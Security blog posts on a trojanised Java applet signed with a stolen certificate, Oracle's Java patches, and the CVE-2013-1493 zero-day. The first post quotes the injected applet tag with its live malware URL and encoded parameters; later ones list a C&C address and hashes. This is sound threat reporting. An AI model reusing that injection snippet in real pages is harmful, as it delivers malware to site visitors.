When a Signed Java JAR file is not Proof of Trust

Various, , , ,

Today, Malware Domain List, reported strange behaviours regarding a Java app executed with the latest version of Java 6.

As you can observe, VirusTotal didn’t find something wrong (0/46) regarding the Java app, but after few hours, some analysis and some discussions on Twitter, it appear that this file is a malicious file (3/46) dropping malwares and that Oracle still need to enhance the security level of Java.

This “innocent” Java app was found on “hxxp://dict.tu-chemnitz.de/“, a german online dictionary infected by g01pack Exploit Kit.

Call to the Java app was done through:

</pre></pre>
<applet name="Java™ <span class=">ClearWeb Security Update" code="app.applet.class" archive="http://oracle.com.java.security.jre8.update.win32.release.for.datrynto.dynalias.com/css/pkcw.mp3"></applet>
<pre>
<pre>
<param name="pert" value="36820"><param name="conchs" value="y"><param name="rss" value="rbE1I7EWurI7bh#b=uNWdJN==Jm7cmu6:6qI4Rwtx24cAxiWI=4=3%=x34cQeQQemZx">
</applet>

As you can see, the Java app try to make the end-user believe that this is a “ClearWeb Security Update” with a URL also trying to imitate a pseudo like Oracle Java JRE8 (lol) update.

java-signed-applet1

Also you can see that the publisher is “CLEARESULT CONSULTING INC.“, a real firm located in Texas USA. It also seem that this applet is a “trusted” signed applet. If the applet were signed by an “non-trusted” or “self-signed” certificate the dialog box would have been like the following one.

warning-supermario-3d-nintendo

If you click on the “More Information” link of the dialog box, you will have another messages confirming you that you can trust this Java applet (The digital signature was generated with a trusted certificate).

java-signed-applet2

And by clicking on “Certificate Details“, you will have associated information’s.

java-signed-applet3

You maybe remember that Oracle has introduce “Security Levels” since Java SE 7 Update 10 in December 2012. Five levels of security are supported, plus a custom security level settings. This feature can be set in the Java Control Panel or (on Microsoft Windows platform only) using a command-line install argument.

The five levels are:

  • Custom: You can customize all the security settings based on you’re needs.
  • Low: Most unsigned Java apps in the browser will run without prompting unless they request access to a specific old version or to protected resources on the system.
  • Medium: Unsigned Java apps in the browser will run without prompting only if the Java version is considered secure. You will be prompted if an unsigned app requests to run on an old version of Java.
  • High: Default Security Level. You will be prompted before any unsigned Java app runs in the browser.
  • Very High: You will be prompted before any Java app runs in the browser. If your version of Java is insecure, unsigned apps will not run.

As you can see only unsigned Java app are considered as non-secure, and signed Java app are blocked only with the “Very High” security level. So with the default security level, aka “High” a signed Java app is executed additional advises.

If you read Oracle documentation “Understanding Signing and Verification“, you will find nice definitions, like:

You digitally sign a file for the same reason you might sign a paper document with pen and ink — to let readers know that you wrote the document, or at least that the document has your approval. When you sign a letter, for example, everyone who recognizes your signature can confirm that you wrote the letter. Similarly when you digitally sign a file, anyone who “recognizes” your digital signature knows that the file came from you. The process of “recognizing” electronic signatures is called verification.

or

 The ability to sign and verify files is an important part of the Java platform’s security architecture. Security is controlled by the security policy that’s in force at runtime. You can configure the policy to grant security privileges to applets and to applications. For example, you could grant permission to an applet to perform normally forbidden operations such as reading and writing local files or running local executable programs. If you have downloaded some code that’s signed by a trusted entity, you can use that fact as a criterion in deciding which security permissions to assign to the code.

So you have understood, if a Java app is signed with your name, it is the proof that you have sign this Java app, and this Java app will run on your system with special privileges… But, but, if somebody has steal your private key that allow you to sign you’re Java app, can the users still trust the Java app ?

The Java app discovered by Malware Domain List was signed with a stollen private key… Worst, the certificate associated to the applet was revoked by GoDaddy the Dec 7 17:46:22 2012 GMT (thanks to @Jindroush). But signing and verifying files is so an important part of the Java platform’s security architecture that Jarsigner validates the file despite the certificate is revoked since a while…

The cause to this nightmare are very simple and I agree with Jindroush #WTF #Java !

By default, certificate revocation list check is set to “OFF” and signed Java app are authorized to have privileged accesses…

So conclusion, signed Java app are not a proof of trust if you don’t check revocation lists ….

Oracle update to Java 7 Update 17 and to Java 6 Update 43, but…

Vulnerability Management, , , , , , , , ,

Oracle, stressed by the new Java 0day discovered exploited in the wild, seem to have release new updates for Java 7, Java 6 and Java 5. Java 7 is updated to version 1.7.0_17, Java 6 is updated to version 1.6.0_43 and Java 5 is updated to version 1.5.0_41.

java7u17

These update are pushed an “Oracle Security Alert for CVE-2013-1493” who fix CVE-2013-1493 vulnerability related to the Java 0day, but also another vulnerability, aka CVE-2013-0809, affecting Java running in web browsers. Both vulnerabilities have a CVSS base score of 10.0 and are remotely exploitable without authentication.

Vulnerabilities are credited to an anonymous Reporter of TippingPoint’s Zero Day Initiative, axtaxt via Tipping Point’s Zero Day Initiative, Darien Kindlund of FireEye, Vitaliy Toropov via iDefense and to Vitaliy Toropov via TippingPoint. As you may remember, CVE-2013-1493 was discovered exploited in the wild by FireEye, but it seem that this vulnerability was also previously discovered by a security researcher working with 0day brokers. It is not the first time that we see 0days exploited in the wild, previously reported to 0day brokers !

Also, Security Explorations, a security firm responsible for identifying most of the latest Java vulnerabilities, is not credited for any of the patched vulnerabilities. So they are still bunch off reported vulnerabilities in Java.

Last but not least, Security Explorations has report, today, five new security issues for Java 7 who can be used to gain a complete Java security sandbox bypass in the environmentof Java SE 7 Update 15.

CVE-2013-1493 aka Yet Another Oracle Java 0day

Exploits, , , , , , , , , ,

Less than 15 days after the release of Oracle Java CPU Special Update of 19 February, another Java 0day is reported exploited in the wild !

FireEye has report, in a blog post, the discovery of a new Oracle Java 0day targeting latest versions JSE 6 Update 41 and JSE 7 Update 15.

After successful exploitation of the newly discovered vulnerability, CVE-2013-1493, “svchost.jpg” (b6c8ede9e2153f2a1e650dfa05b59b99) file is loaded from the same server hosting the Java 0day. Then McRAT (aka Trojan.Naid) malware (4d519bf53a8217adc4c15d15f0815993)  is dropped.  Regarding the detection ratio of this malware (21/46), it seem that the Java 0day could be used in Exploit Pack.

Symantec has report some connections through the new Oracle Java 0day with the Bit9 security incident. In the actual Java 0day security incident case, “appmgmt.dll” file, dropped by “svchost.jpg“, is detected by Symantec as Trojan.Naid. Trojan.Naid sample is connecting 110.173.55.187 C&C server. In the Bit9 security incident case, Trojan.Naid was also present and also connecting to 110.173.55.187 C&C server. Symantec detect this Java 0day as “Trojan.Maljava.B” and regarding associated threat assessment, less than 49 computers were infected and less than 2 websites were used in the watering hole attack.

Some security researchers are actually studying the sample, it is question of days before this 0day will be widely exploited.

We advise you to deactivate Java plug-in execution asap.

Update 2013-03-07:

Samples are appearing on VirusTotal like “svchost.jar” (a721ca9b2ea1c362bd704b57d4d5a280) with an actual detection ratio of 17/46.